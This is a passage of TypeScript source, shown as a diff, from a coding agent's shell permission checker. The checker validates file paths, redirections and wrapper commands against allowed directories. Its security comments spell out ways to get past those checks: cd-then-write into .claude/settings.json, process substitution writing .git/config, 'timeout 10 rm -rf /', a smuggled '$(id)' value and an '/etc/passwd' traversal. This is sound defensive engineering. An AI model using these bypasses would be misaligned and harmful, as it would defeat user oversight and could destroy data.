+ sort: filterOutFlags,
282
+ uniq: filterOutFlags,
283
+ wc: filterOutFlags,
284
+ cut: filterOutFlags,
285
+ paste: filterOutFlags,
286
+ column: filterOutFlags,
287
+ file: filterOutFlags,
288
+ stat: filterOutFlags,
289
+ diff: filterOutFlags,
290
+ awk: filterOutFlags,
291
+ strings: filterOutFlags,
292
+ hexdump: filterOutFlags,
293
+ od: filterOutFlags,
294
+ base64: filterOutFlags,
295
+ nl: filterOutFlags,
296
+ sha256sum: filterOutFlags,
297
+ sha1sum: filterOutFlags,
298
+ md5sum: filterOutFlags,
299
+
300
+ // tr: special case - skip character sets
301
+ tr: args => {
302
+ const hasDelete = args.some(
303
+ a =>
304
+ a === '-d' ||
305
+ a === '--delete' ||
306
+ (a.startsWith('-') && a.includes('d')),
307
+ )
308
+ const nonFlags = filterOutFlags(args)
309
+ return nonFlags.slice(hasDelete ? 1 : 2) // Skip SET1 or SET1+SET2
310
+ },
311
+
312
+ // grep: pattern then paths, defaults to stdin
313
+ grep: args => {
314
+ const flags = new Set([
315
+ '-e',
316
+ '--regexp',
317
+ '-f',
318
+ '--file',
319
+ '--exclude',
320
+ '--include',
321
+ '--exclude-dir',
322
+ '--include-dir',
323
+ '-m',
324
+ '--max-count',
325
+ '-A',
326
+ '--after-context',
327
+ '-B',
328
+ '--before-context',
329
+ '-C',
330
+ '--context',
331
+ ])
332
+ const paths = parsePatternCommand(args, flags)
333
+ // Special: if -r/-R flag present and no paths, use current dir
334
+ if (
335
+ paths.length === 0 &&
336
+ args.some(a => ['-r', '-R', '--recursive'].includes(a))
337
+ ) {
338
+ return ['.']
339
+ }
340
+ return paths
341
+ },
342
+
343
+ // rg: pattern then paths, defaults to current dir
344
+ rg: args => {
345
+ const flags = new Set([
346
+ '-e',
347
+ '--regexp',
348
+ '-f',
349
+ '--file',
350
+ '-t',
351
+ '--type',
352
+ '-T',
353
+ '--type-not',
354
+ '-g',
355
+ '--glob',
356
+ '-m',
357
+ '--max-count',
358
+ '--max-depth',
359
+ '-r',
360
+ '--replace',
361
+ '-A',
362
+ '--after-context',
363
+ '-B',
364
+ '--before-context',
365
+ '-C',
366
+ '--context',
367
+ ])
368
+ return parsePatternCommand(args, flags, ['.'])
369
+ },
370
+
371
+ // sed: processes files in-place or reads from stdin
372
+ sed: args => {
373
+ const paths: string[] = []
374
+ let skipNext = false
375
+ let scriptFound = false
376
+ // SECURITY: Track `--` end-of-options delimiter. After `--`, all args are
377
+ // positional regardless of leading `-`. See filterOutFlags() doc comment.
378
+ let afterDoubleDash = false
379
+
380
+ for (let i = 0; i < args.length; i++) {
381
+ if (skipNext) {
382
+ skipNext = false
383
+ continue
384
+ }
385
+
386
+ const arg = args[i]
387
+ if (!arg) continue
388
+
389
+ if (!afterDoubleDash && arg === '--') {
390
+ afterDoubleDash = true
391
+ continue
392
+ }
393
+
394
+ // Handle flags (only before `--`)
395
+ if (!afterDoubleDash && arg.startsWith('-')) {
396
+ // -f flag: next arg is a script file that needs validation
397
+ if (['-f', '--file'].includes(arg)) {
398
+ const scriptFile = args[i + 1]
399
+ if (scriptFile) {
400
+ paths.push(scriptFile) // Add script file to paths for validation
401
+ skipNext = true
402
+ }
403
+ scriptFound = true
404
+ }
405
+ // -e flag: next arg is expression, not a file
406
+ else if (['-e', '--expression'].includes(arg)) {
407
+ skipNext = true
408
+ scriptFound = true
409
+ }
410
+ // Combined flags like -ie or -nf
411
+ else if (arg.includes('e') || arg.includes('f')) {
412
+ scriptFound = true
413
+ }
414
+ continue
415
+ }
416
+
417
+ // First non-flag is the script (if not already found via -e/-f)
418
+ if (!scriptFound) {
419
+ scriptFound = true
420
+ continue
421
+ }
422
+
423
+ // Rest are file paths
424
+ paths.push(arg)
425
+ }
426
+
427
+ return paths
428
+ },
429
+
430
+ // jq: filter then file paths (similar to grep)
431
+ // The jq command structure is: jq [flags] filter [files...]
432
+ // If no files are provided, jq reads from stdin
433
+ jq: args => {
434
+ const paths: string[] = []
435
+ const flagsWithArgs = new Set([
436
+ '-e',
437
+ '--expression',
438
+ '-f',
439
+ '--from-file',
440
+ '--arg',
441
+ '--argjson',
442
+ '--slurpfile',
443
+ '--rawfile',
444
+ '--args',
445
+ '--jsonargs',
446
+ '-L',
447
+ '--library-path',
448
+ '--indent',
449
+ '--tab',
450
+ ])
451
+ let filterFound = false
452
+ // SECURITY: Track `--` end-of-options delimiter. After `--`, all args are
453
+ // positional regardless of leading `-`. See filterOutFlags() doc comment.
454
+ let afterDoubleDash = false
455
+
456
+ for (let i = 0; i < args.length; i++) {
457
+ const arg = args[i]
458
+ if (arg === undefined || arg === null) continue
459
+
460
+ if (!afterDoubleDash && arg === '--') {
461
+ afterDoubleDash = true
462
+ continue
463
+ }
464
+
465
+ if (!afterDoubleDash && arg.startsWith('-')) {
466
+ const flag = arg.split('=')[0]
467
+ // Pattern flags mark that we've found the filter
468
+ if (flag && ['-e', '--expression'].includes(flag)) {
469
+ filterFound = true
470
+ }
471
+ // Skip next arg if flag needs it
472
+ if (flag && flagsWithArgs.has(flag) && !arg.includes('=')) {
473
+ i++
474
+ }
475
+ continue
476
+ }
477
+
478
+ // First non-flag is filter, rest are file paths
479
+ if (!filterFound) {
480
+ filterFound = true
481
+ continue
482
+ }
483
+ paths.push(arg)
484
+ }
485
+
486
+ // If no file paths, jq reads from stdin (no paths to validate)
487
+ return paths
488
+ },
489
+
490
+ // git: handle subcommands that access arbitrary files outside the repository
491
+ git: args => {
492
+ // git diff --no-index is special - it explicitly compares files outside git's control
493
+ // This flag allows git diff to compare any two files on the filesystem, not just
494
+ // files within the repository, which is why it needs path validation
495
+ if (args.length >= 1 && args[0] === 'diff') {
496
+ if (args.includes('--no-index')) {
497
+ // SECURITY: git diff --no-index accepts `--` before file paths.
498
+ // Use filterOutFlags which handles `--` correctly instead of naive
499
+ // startsWith('-') filtering, to catch paths like `-/../etc/passwd`.
500
+ const filePaths = filterOutFlags(args.slice(1))
501
+ return filePaths.slice(0, 2) // git diff --no-index expects exactly 2 paths
502
+ }
503
+ }
504
+ // Other git commands (add, rm, mv, show, etc.) operate within the repository context
505
+ // and are already constrained by git's own security model, so they don't need
506
+ // additional path validation
507
+ return []
508
+ },
509
+ }
510
+
511
+ const SUPPORTED_PATH_COMMANDS = Object.keys(PATH_EXTRACTORS) as PathCommand[]
512
+
513
+ const ACTION_VERBS: Record<PathCommand, string> = {
514
+ cd: 'change directories to',
515
+ ls: 'list files in',
516
+ find: 'search files in',
517
+ mkdir: 'create directories in',
518
+ touch: 'create or modify files in',
519
+ rm: 'remove files from',
520
+ rmdir: 'remove directories from',
521
+ mv: 'move files to/from',
522
+ cp: 'copy files to/from',
523
+ cat: 'concatenate files from',
524
+ head: 'read the beginning of files from',
525
+ tail: 'read the end of files from',
526
+ sort: 'sort contents of files from',
527
+ uniq: 'filter duplicate lines from files in',
528
+ wc: 'count lines/words/bytes in files from',
529
+ cut: 'extract columns from files in',
530
+ paste: 'merge files from',
531
+ column: 'format files from',
532
+ tr: 'transform text from files in',
533
+ file: 'examine file types in',
534
+ stat: 'read file stats from',
535
+ diff: 'compare files from',
536
+ awk: 'process text from files in',
537
+ strings: 'extract strings from files in',
538
+ hexdump: 'display hex dump of files from',
539
+ od: 'display octal dump of files from',
540
+ base64: 'encode/decode files from',
541
+ nl: 'number lines in files from',
542
+ grep: 'search for patterns in files from',
543
+ rg: 'search for patterns in files from',
544
+ sed: 'edit files in',
545
+ git: 'access files with git from',
546
+ jq: 'process JSON from files in',
547
+ sha256sum: 'compute SHA-256 checksums for files in',
548
+ sha1sum: 'compute SHA-1 checksums for files in',
549
+ md5sum: 'compute MD5 checksums for files in',
550
+ }
551
+
552
+ export const COMMAND_OPERATION_TYPE: Record<PathCommand, FileOperationType> = {
553
+ cd: 'read',
554
+ ls: 'read',
555
+ find: 'read',
556
+ mkdir: 'create',
557
+ touch: 'create',
558
+ rm: 'write',
559
+ rmdir: 'write',
560
+ mv: 'write',
561
+ cp: 'write',
562
+ cat: 'read',
563
+ head: 'read',
564
+ tail: 'read',
565
+ sort: 'read',
566
+ uniq: 'read',
567
+ wc: 'read',
568
+ cut: 'read',
569
+ paste: 'read',
570
+ column: 'read',
571
+ tr: 'read',
572
+ file: 'read',
573
+ stat: 'read',
574
+ diff: 'read',
575
+ awk: 'read',
576
+ strings: 'read',
577
+ hexdump: 'read',
578
+ od: 'read',
579
+ base64: 'read',
580
+ nl: 'read',
581
+ grep: 'read',
582
+ rg: 'read',
583
+ sed: 'write',
584
+ git: 'read',
585
+ jq: 'read',
586
+ sha256sum: 'read',
587
+ sha1sum: 'read',
588
+ md5sum: 'read',
589
+ }
590
+
591
+ /**
592
+ * Command-specific validators that run before path validation.
593
+ * Returns true if the command is valid, false if it should be rejected.
594
+ * Used to block commands with flags that could bypass path validation.
595
+ */
596
+ const COMMAND_VALIDATOR: Partial<
597
+ Record<PathCommand, (args: string[]) => boolean>
598
+ > = {
599
+ mv: (args: string[]) => !args.some(arg => arg?.startsWith('-')),
600
+ cp: (args: string[]) => !args.some(arg => arg?.startsWith('-')),
601
+ }
602
+
603
+ function validateCommandPaths(
604
+ command: PathCommand,
605
+ args: string[],
606
+ cwd: string,
607
+ toolPermissionContext: ToolPermissionContext,
608
+ compoundCommandHasCd?: boolean,
609
+ operationTypeOverride?: FileOperationType,
610
+ ): PermissionResult {
611
+ const extractor = PATH_EXTRACTORS[command]
612
+ const paths = extractor(args)
613
+ const operationType = operationTypeOverride ?? COMMAND_OPERATION_TYPE[command]
614
+
615
+ // SECURITY: Check command-specific validators (e.g., to block flags that could bypass path validation)
616
+ // Some commands like mv/cp have flags (--target-directory=PATH) that can bypass path extraction,
617
+ // so we block ALL flags for these commands to ensure security.
618
+ const validator = COMMAND_VALIDATOR[command]
619
+ if (validator && !validator(args)) {
620
+ return {
621
+ behavior: 'ask',
622
+ message: `${command} with flags requires manual approval to ensure path safety. For security, Claude Code cannot automatically validate ${command} commands that use flags, as some flags like --target-directory=PATH can bypass path validation.`,
623
+ decisionReason: {
624
+ type: 'other',
625
+ reason: `${command} command with flags requires manual approval`,
626
+ },
627
+ }
628
+ }
629
+
630
+ // SECURITY: Block write operations in compound commands containing 'cd'
631
+ // This prevents bypassing path safety checks via directory changes before operations.
632
+ // Example attack: cd .claude/ && mv test.txt settings.json
633
+ // This would bypass the check for .claude/settings.json because paths are resolved
634
+ // relative to the original CWD, not accounting for the cd's effect.
635
+ //
636
+ // ALTERNATIVE APPROACH: Instead of blocking all writes with cd, we could track the
637
+ // effective CWD through the command chain (e.g., after "cd .claude/", subsequent
638
+ // commands would be validated with CWD=".claude/"). This would be more permissive
639
+ // but requires careful handling of:
640
+ // - Relative paths (cd ../foo)
641
+ // - Special cd targets (cd ~, cd -, cd with no args)
642
+ // - Multiple cd commands in sequence
643
+ // - Error cases where cd target cannot be determined
644
+ // For now, we take the conservative approach of requiring manual approval.
645
+ if (compoundCommandHasCd && operationType !== 'read') {
646
+ return {
647
+ behavior: 'ask',
648
+ message: `Commands that change directories and perform write operations require explicit approval to ensure paths are evaluated correctly. For security, Claude Code cannot automatically determine the final working directory when 'cd' is used in compound commands.`,
649
+ decisionReason: {
650
+ type: 'other',
651
+ reason:
652
+ 'Compound command contains cd with write operation - manual approval required to prevent path resolution bypass',
653
+ },
654
+ }
655
+ }
656
+
657
+ for (const path of paths) {
658
+ const { allowed, resolvedPath, decisionReason } = validatePath(
659
+ path,
660
+ cwd,
661
+ toolPermissionContext,
662
+ operationType,
663
+ )
664
+
665
+ if (!allowed) {
666
+ const workingDirs = Array.from(
667
+ allWorkingDirectories(toolPermissionContext),
668
+ )
669
+ const dirListStr = formatDirectoryList(workingDirs)
670
+
671
+ // Use security check's custom reason if available (type: 'other' or 'safetyCheck')
672
+ // Otherwise use the standard "was blocked" message
673
+ const message =
674
+ decisionReason?.type === 'other' ||
675
+ decisionReason?.type === 'safetyCheck'
676
+ ? decisionReason.reason
677
+ : `${command} in '${resolvedPath}' was blocked. For security, Claude Code may only ${ACTION_VERBS[command]} the allowed working directories for this session: ${dirListStr}.`
678
+
679
+ if (decisionReason?.type === 'rule') {
680
+ return {
681
+ behavior: 'deny',
682
+ message,
683
+ decisionReason,
684
+ }
685
+ }
686
+
687
+ return {
688
+ behavior: 'ask',
689
+ message,
690
+ blockedPath: resolvedPath,
691
+ decisionReason,
692
+ }
693
+ }
694
+ }
695
+
696
+ // All paths are valid - return passthrough
697
+ return {
698
+ behavior: 'passthrough',
699
+ message: `Path validation passed for ${command} command`,
700
+ }
701
+ }
702
+
703
+ export function createPathChecker(
704
+ command: PathCommand,
705
+ operationTypeOverride?: FileOperationType,
706
+ ) {
707
+ return (
708
+ args: string[],
709
+ cwd: string,
710
+ context: ToolPermissionContext,
711
+ compoundCommandHasCd?: boolean,
712
+ ): PermissionResult => {
713
+ // First check normal path validation (which includes explicit deny rules)
714
+ const result = validateCommandPaths(
715
+ command,
716
+ args,
717
+ cwd,
718
+ context,
719
+ compoundCommandHasCd,
720
+ operationTypeOverride,
721
+ )
722
+
723
+ // If explicitly denied, respect that (don't override with dangerous path message)
724
+ if (result.behavior === 'deny') {
725
+ return result
726
+ }
727
+
728
+ // Check for dangerous removal paths AFTER explicit deny rules but BEFORE other results
729
+ // This ensures the check runs even if the user has allowlist rules or if glob patterns
730
+ // were rejected, but respects explicit deny rules. Dangerous patterns get a specific
731
+ // error message that overrides generic glob pattern rejection messages.
732
+ if (command === 'rm' || command === 'rmdir') {
733
+ const dangerousPathResult = checkDangerousRemovalPaths(command, args, cwd)
734
+ if (dangerousPathResult.behavior !== 'passthrough') {
735
+ return dangerousPathResult
736
+ }
737
+ }
738
+
739
+ // If it's a passthrough, return it directly
740
+ if (result.behavior === 'passthrough') {
741
+ return result
742
+ }
743
+
744
+ // If it's an ask decision, add suggestions based on the operation type
745
+ if (result.behavior === 'ask') {
746
+ const operationType =
747
+ operationTypeOverride ?? COMMAND_OPERATION_TYPE[command]
748
+ const suggestions: PermissionUpdate[] = []
749
+
750
+ // Only suggest adding directory/rules if we have a blocked path
751
+ if (result.blockedPath) {
752
+ if (operationType === 'read') {
753
+ // For read operations, suggest a Read rule for the directory (only if it exists)
754
+ const dirPath = getDirectoryForPath(result.blockedPath)
755
+ const suggestion = createReadRuleSuggestion(dirPath, 'session')
756
+ if (suggestion) {
757
+ suggestions.push(suggestion)
758
+ }
759
+ } else {
760
+ // For write/create operations, suggest adding the directory
761
+ suggestions.push({
762
+ type: 'addDirectories',
763
+ directories: [getDirectoryForPath(result.blockedPath)],
764
+ destination: 'session',
765
+ })
766
+ }
767
+ }
768
+
769
+ // For write operations, also suggest enabling accept-edits mode
770
+ if (operationType === 'write' || operationType === 'create') {
771
+ suggestions.push({
772
+ type: 'setMode',
773
+ mode: 'acceptEdits',
774
+ destination: 'session',
775
+ })
776
+ }
777
+
778
+ result.suggestions = suggestions
779
+ }
780
+
781
+ // Return the decision directly
782
+ return result
783
+ }
784
+ }
785
+
786
+ /**
787
+ * Parses command arguments using shell-quote, converting glob objects to strings.
788
+ * This is necessary because shell-quote parses patterns like *.txt as glob objects,
789
+ * but we need them as strings for path validation.
790
+ */
791
+ function parseCommandArguments(cmd: string): string[] {
792
+ const parseResult = tryParseShellCommand(cmd, env => `$${env}`)
793
+ if (!parseResult.success) {
794
+ // Malformed shell syntax, return empty array
795
+ return []
796
+ }
797
+ const parsed = parseResult.tokens
798
+ const extractedArgs: string[] = []
799
+
800
+ for (const arg of parsed) {
801
+ if (typeof arg === 'string') {
802
+ // Include empty strings - they're valid arguments (e.g., grep "" /tmp/t)
803
+ extractedArgs.push(arg)
804
+ } else if (
805
+ typeof arg === 'object' &&
806
+ arg !== null &&
807
+ 'op' in arg &&
808
+ arg.op === 'glob' &&
809
+ 'pattern' in arg
810
+ ) {
811
+ // shell-quote parses glob patterns as objects, but we need them as strings for validation
812
+ extractedArgs.push(String(arg.pattern))
813
+ }
814
+ }
815
+
816
+ return extractedArgs
817
+ }
818
+
819
+ /**
820
+ * Validates a single command for path constraints and shell safety.
821
+ *
822
+ * This function:
823
+ * 1. Parses the command arguments
824
+ * 2. Checks if it's a path command (cd, ls, find)
825
+ * 3. Validates for shell injection patterns
826
+ * 4. Validates all paths are within allowed directories
827
+ *
828
+ * @param cmd - The command string to validate
829
+ * @param cwd - Current working directory
830
+ * @param toolPermissionContext - Context containing allowed directories
831
+ * @param compoundCommandHasCd - Whether the full compound command contains a cd
832
+ * @returns PermissionResult - 'passthrough' if not a path command, otherwise validation result
833
+ */
834
+ function validateSinglePathCommand(
835
+ cmd: string,
836
+ cwd: string,
837
+ toolPermissionContext: ToolPermissionContext,
838
+ compoundCommandHasCd?: boolean,
839
+ ): PermissionResult {
840
+ // SECURITY: Strip wrapper commands (timeout, nice, nohup, time) before extracting
841
+ // the base command. Without this, dangerous commands wrapped with these utilities
842
+ // would bypass path validation since the wrapper command (e.g., 'timeout') would
843
+ // be checked instead of the actual command (e.g., 'rm').
844
+ // Example: 'timeout 10 rm -rf /' would otherwise see 'timeout' as the base command.
845
+ const strippedCmd = stripSafeWrappers(cmd)
846
+
847
+ // Parse command into arguments, handling quotes and globs
848
+ const extractedArgs = parseCommandArguments(strippedCmd)
849
+ if (extractedArgs.length === 0) {
850
+ return {
851
+ behavior: 'passthrough',
852
+ message: 'Empty command - no paths to validate',
853
+ }
854
+ }
855
+
856
+ // Check if this is a path command we need to validate
857
+ const [baseCmd, ...args] = extractedArgs
858
+ if (!baseCmd || !SUPPORTED_PATH_COMMANDS.includes(baseCmd as PathCommand)) {
859
+ return {
860
+ behavior: 'passthrough',
861
+ message: `Command '${baseCmd}' is not a path-restricted command`,
862
+ }
863
+ }
864
+
865
+ // For read-only sed commands (e.g., sed -n '1,10p' file.txt),
866
+ // validate file paths as read operations instead of write operations.
867
+ // sed is normally classified as 'write' for path validation, but when the
868
+ // command is purely reading (line printing with -n), file args are read-only.
869
+ const operationTypeOverride =
870
+ baseCmd === 'sed' && sedCommandIsAllowedByAllowlist(strippedCmd)
871
+ ? ('read' as FileOperationType)
872
+ : undefined
873
+
874
+ // Validate all paths are within allowed directories
875
+ const pathChecker = createPathChecker(
876
+ baseCmd as PathCommand,
877
+ operationTypeOverride,
878
+ )
879
+ return pathChecker(args, cwd, toolPermissionContext, compoundCommandHasCd)
880
+ }
881
+
882
+ /**
883
+ * Like validateSinglePathCommand but operates on AST-derived argv directly
884
+ * instead of re-parsing the command string with shell-quote. Avoids the
885
+ * shell-quote single-quote backslash bug that causes parseCommandArguments
886
+ * to silently return [] and skip path validation.
887
+ */
888
+ function validateSinglePathCommandArgv(
889
+ cmd: SimpleCommand,
890
+ cwd: string,
891
+ toolPermissionContext: ToolPermissionContext,
892
+ compoundCommandHasCd?: boolean,
893
+ ): PermissionResult {
894
+ const argv = stripWrappersFromArgv(cmd.argv)
895
+ if (argv.length === 0) {
896
+ return {
897
+ behavior: 'passthrough',
898
+ message: 'Empty command - no paths to validate',
899
+ }
900
+ }
901
+ const [baseCmd, ...args] = argv
902
+ if (!baseCmd || !SUPPORTED_PATH_COMMANDS.includes(baseCmd as PathCommand)) {
903
+ return {
904
+ behavior: 'passthrough',
905
+ message: `Command '${baseCmd}' is not a path-restricted command`,
906
+ }
907
+ }
908
+ // sed read-only override: use .text for the allowlist check since
909
+ // sedCommandIsAllowedByAllowlist takes a string. argv is already
910
+ // wrapper-stripped but .text is raw tree-sitter span (includes
911
+ // `timeout 5 ` prefix), so strip here too.
912
+ const operationTypeOverride =
913
+ baseCmd === 'sed' &&
914
+ sedCommandIsAllowedByAllowlist(stripSafeWrappers(cmd.text))
915
+ ? ('read' as FileOperationType)
916
+ : undefined
917
+ const pathChecker = createPathChecker(
918
+ baseCmd as PathCommand,
919
+ operationTypeOverride,
920
+ )
921
+ return pathChecker(args, cwd, toolPermissionContext, compoundCommandHasCd)
922
+ }
923
+
924
+ function validateOutputRedirections(
925
+ redirections: Array<{ target: string; operator: '>' | '>>' }>,
926
+ cwd: string,
927
+ toolPermissionContext: ToolPermissionContext,
928
+ compoundCommandHasCd?: boolean,
929
+ ): PermissionResult {
930
+ // SECURITY: Block output redirections in compound commands containing 'cd'
931
+ // This prevents bypassing path safety checks via directory changes before redirections.
932
+ // Example attack: cd .claude/ && echo "malicious" > settings.json
933
+ // The redirection target would be validated relative to the original CWD, but the
934
+ // actual write happens in the changed directory after 'cd' executes.
935
+ if (compoundCommandHasCd && redirections.length > 0) {
936
+ return {
937
+ behavior: 'ask',
938
+ message: `Commands that change directories and write via output redirection require explicit approval to ensure paths are evaluated correctly. For security, Claude Code cannot automatically determine the final working directory when 'cd' is used in compound commands.`,
939
+ decisionReason: {
940
+ type: 'other',
941
+ reason:
942
+ 'Compound command contains cd with output redirection - manual approval required to prevent path resolution bypass',
943
+ },
944
+ }
945
+ }
946
+ for (const { target } of redirections) {
947
+ // /dev/null is always safe - it discards output
948
+ if (target === '/dev/null') {
949
+ continue
950
+ }
951
+ const { allowed, resolvedPath, decisionReason } = validatePath(
952
+ target,
953
+ cwd,
954
+ toolPermissionContext,
955
+ 'create', // Treat > and >> as create operations
956
+ )
957
+
958
+ if (!allowed) {
959
+ const workingDirs = Array.from(
960
+ allWorkingDirectories(toolPermissionContext),
961
+ )
962
+ const dirListStr = formatDirectoryList(workingDirs)
963
+
964
+ // Use security check's custom reason if available (type: 'other' or 'safetyCheck')
965
+ // Otherwise use the standard message for deny rules or working directory restrictions
966
+ const message =
967
+ decisionReason?.type === 'other' ||
968
+ decisionReason?.type === 'safetyCheck'
969
+ ? decisionReason.reason
970
+ : decisionReason?.type === 'rule'
971
+ ? `Output redirection to '${resolvedPath}' was blocked by a deny rule.`
972
+ : `Output redirection to '${resolvedPath}' was blocked. For security, Claude Code may only write to files in the allowed working directories for this session: ${dirListStr}.`
973
+
974
+ // If denied by a deny rule, return 'deny' behavior
975
+ if (decisionReason?.type === 'rule') {
976
+ return {
977
+ behavior: 'deny',
978
+ message,
979
+ decisionReason,
980
+ }
981
+ }
982
+
983
+ return {
984
+ behavior: 'ask',
985
+ message,
986
+ blockedPath: resolvedPath,
987
+ decisionReason,
988
+ suggestions: [
989
+ {
990
+ type: 'addDirectories',
991
+ directories: [getDirectoryForPath(resolvedPath)],
992
+ destination: 'session',
993
+ },
994
+ ],
995
+ }
996
+ }
997
+ }
998
+
999
+ return {
1000
+ behavior: 'passthrough',
1001
+ message: 'No unsafe redirections found',
1002
+ }
1003
+ }
1004
+
1005
+ /**
1006
+ * Checks path constraints for commands that access the filesystem (cd, ls, find).
1007
+ * Also validates output redirections to ensure they're within allowed directories.
1008
+ *
1009
+ * @returns
1010
+ * - 'ask' if any path command or redirection tries to access outside allowed directories
1011
+ * - 'passthrough' if no path commands were found or if all are within allowed directories
1012
+ */
1013
+ export function checkPathConstraints(
1014
+ input: z.infer<typeof BashTool.inputSchema>,
1015
+ cwd: string,
1016
+ toolPermissionContext: ToolPermissionContext,
1017
+ compoundCommandHasCd?: boolean,
1018
+ astRedirects?: Redirect[],
1019
+ astCommands?: SimpleCommand[],
1020
+ ): PermissionResult {
1021
+ // SECURITY: Process substitution >(cmd) can execute commands that write to files
1022
+ // without those files appearing as redirect targets. For example:
1023
+ // echo secret > >(tee .git/config)
1024
+ // The tee command writes to .git/config but it's not detected as a redirect.
1025
+ // Require explicit approval for any command containing process substitution.
1026
+ // Skip on AST path — process_substitution is in DANGEROUS_TYPES and
1027
+ // already returned too-complex before reaching here.
1028
+ if (!astCommands && />>\s*>\s*\(|>\s*>\s*\(|<\s*\(/.test(input.command)) {
1029
+ return {
1030
+ behavior: 'ask',
1031
+ message:
1032
+ 'Process substitution (>(...) or <(...)) can execute arbitrary commands and requires manual approval',
1033
+ decisionReason: {
1034
+ type: 'other',
1035
+ reason: 'Process substitution requires manual approval',
1036
+ },
1037
+ }
1038
+ }
1039
+
1040
+ // SECURITY: When AST-derived redirects are available, use them directly
1041
+ // instead of re-parsing with shell-quote. shell-quote has a known
1042
+ // single-quote backslash bug that silently merges redirect operators into
1043
+ // garbled tokens on a successful parse (not a parse failure, so the
1044
+ // fail-closed guard doesn't help). The AST already resolved targets
1045
+ // correctly and checkSemantics validated them.
1046
+ const { redirections, hasDangerousRedirection } = astRedirects
1047
+ ? astRedirectsToOutputRedirections(astRedirects)
1048
+ : extractOutputRedirections(input.command)
1049
+
1050
+ // SECURITY: If we found a redirection operator with a target containing shell expansion
1051
+ // syntax ($VAR or %VAR%), require manual approval since the target can't be safely validated.
1052
+ if (hasDangerousRedirection) {
1053
+ return {
1054
+ behavior: 'ask',
1055
+ message: 'Shell expansion syntax in paths requires manual approval',
1056
+ decisionReason: {
1057
+ type: 'other',
1058
+ reason: 'Shell expansion syntax in paths requires manual approval',
1059
+ },
1060
+ }
1061
+ }
1062
+ const redirectionResult = validateOutputRedirections(
1063
+ redirections,
1064
+ cwd,
1065
+ toolPermissionContext,
1066
+ compoundCommandHasCd,
1067
+ )
1068
+ if (redirectionResult.behavior !== 'passthrough') {
1069
+ return redirectionResult
1070
+ }
1071
+
1072
+ // SECURITY: When AST-derived commands are available, iterate them with
1073
+ // pre-parsed argv instead of re-parsing via splitCommand_DEPRECATED + shell-quote.
1074
+ // shell-quote has a single-quote backslash bug that causes
1075
+ // parseCommandArguments to silently return [] and skip path validation
1076
+ // (isDangerousRemovalPath etc). The AST already resolved argv correctly.
1077
+ if (astCommands) {
1078
+ for (const cmd of astCommands) {
1079
+ const result = validateSinglePathCommandArgv(
1080
+ cmd,
1081
+ cwd,
1082
+ toolPermissionContext,
1083
+ compoundCommandHasCd,
1084
+ )
1085
+ if (result.behavior === 'ask' || result.behavior === 'deny') {
1086
+ return result
1087
+ }
1088
+ }
1089
+ } else {
1090
+ const commands = splitCommand_DEPRECATED(input.command)
1091
+ for (const cmd of commands) {
1092
+ const result = validateSinglePathCommand(
1093
+ cmd,
1094
+ cwd,
1095
+ toolPermissionContext,
1096
+ compoundCommandHasCd,
1097
+ )
1098
+ if (result.behavior === 'ask' || result.behavior === 'deny') {
1099
+ return result
1100
+ }
1101
+ }
1102
+ }
1103
+
1104
+ // Always return passthrough to let other permission checks handle the command
1105
+ return {
1106
+ behavior: 'passthrough',
1107
+ message: 'All path commands validated successfully',
1108
+ }
1109
+ }
1110
+
1111
+ /**
1112
+ * Convert AST-derived Redirect[] to the format expected by
1113
+ * validateOutputRedirections. Filters to output-only redirects (excluding
1114
+ * fd duplications like 2>&1) and maps operators to '>' | '>>'.
1115
+ */
1116
+ function astRedirectsToOutputRedirections(redirects: Redirect[]): {
1117
+ redirections: Array<{ target: string; operator: '>' | '>>' }>
1118
+ hasDangerousRedirection: boolean
1119
+ } {
1120
+ const redirections: Array<{ target: string; operator: '>' | '>>' }> = []
1121
+ for (const r of redirects) {
1122
+ switch (r.op) {
1123
+ case '>':
1124
+ case '>|':
1125
+ case '&>':
1126
+ redirections.push({ target: r.target, operator: '>' })
1127
+ break
1128
+ case '>>':
1129
+ case '&>>':
1130
+ redirections.push({ target: r.target, operator: '>>' })
1131
+ break
1132
+ case '>&':
1133
+ // >&N (digits only) is fd duplication (e.g. 2>&1, >&10), not a file
1134
+ // write. >&file is the deprecated form of &>file (redirect to file).
1135
+ if (!/^\d+$/.test(r.target)) {
1136
+ redirections.push({ target: r.target, operator: '>' })
1137
+ }
1138
+ break
1139
+ case '<':
1140
+ case '<<':
1141
+ case '<&':
1142
+ case '<<<':
1143
+ // input redirects — skip
1144
+ break
1145
+ }
1146
+ }
1147
+ // AST targets are fully resolved (no shell expansion) — checkSemantics
1148
+ // already validated them. No dangerous redirections are possible.
1149
+ return { redirections, hasDangerousRedirection: false }
1150
+ }
1151
+
1152
+ // ───────────────────────────────────────────────────────────────────────────
1153
+ // Argv-level safe-wrapper stripping (timeout, nice, stdbuf, env, time, nohup)
1154
+ //
1155
+ // This is the CANONICAL stripWrappersFromArgv. bashPermissions.ts still
1156
+ // exports an older narrower copy (timeout/nice-n-N only) that is DEAD CODE
1157
+ // — no prod consumer — but CANNOT be removed: bashPermissions.ts is right
1158
+ // at Bun's feature() DCE complexity threshold, and deleting ~80 lines from
1159
+ // that module silently breaks feature('BASH_CLASSIFIER') evaluation (drops
1160
+ // every pendingClassifierCheck spread). Verified in PR #21503 round 3:
1161
+ // baseline classifier tests 30/30 pass, after deletion 22/30 fail. See
1162
+ // team memory: bun-feature-dce-cliff.md. Hit 3× in PR #21075 + twice in
1163
+ // #21503. The expanded version lives here (the only prod consumer) instead.
1164
+ //
1165
+ // KEEP IN SYNC with:
1166
+ // - SAFE_WRAPPER_PATTERNS in bashPermissions.ts (text-based stripSafeWrappers)
1167
+ // - the wrapper-stripping loop in checkSemantics (src/utils/bash/ast.ts ~1860)
1168
+ // If you add a wrapper in either, add it here too. Asymmetry means
1169
+ // checkSemantics exposes the wrapped command to semantic checks but path
1170
+ // validation sees the wrapper name → passthrough → wrapped paths never
1171
+ // validated (PR #21503 review comment 2907319120).
1172
+ // ───────────────────────────────────────────────────────────────────────────
1173
+
1174
+ // SECURITY: allowlist for timeout flag VALUES (signals are TERM/KILL/9,
1175
+ // durations are 5/5s/10.5). Rejects $ ( ) ` | ; & and newlines that
1176
+ // previously matched via [^ \t]+ — `timeout -k$(id) 10 ls` must NOT strip.
1177
+ const TIMEOUT_FLAG_VALUE_RE = /^[A-Za-z0-9_.+-]+$/
1178
+
1179
+ /**
1180
+ * Parse timeout's GNU flags (long + short, fused + space-separated) and
1181
+ * return the argv index of the DURATION token, or -1 if flags are unparseable.
1182
+ */
1183
+ function skipTimeoutFlags(a: readonly string[]): number {
1184
+ let i = 1
1185
+ while (i < a.length) {
1186
+ const arg = a[i]!
1187
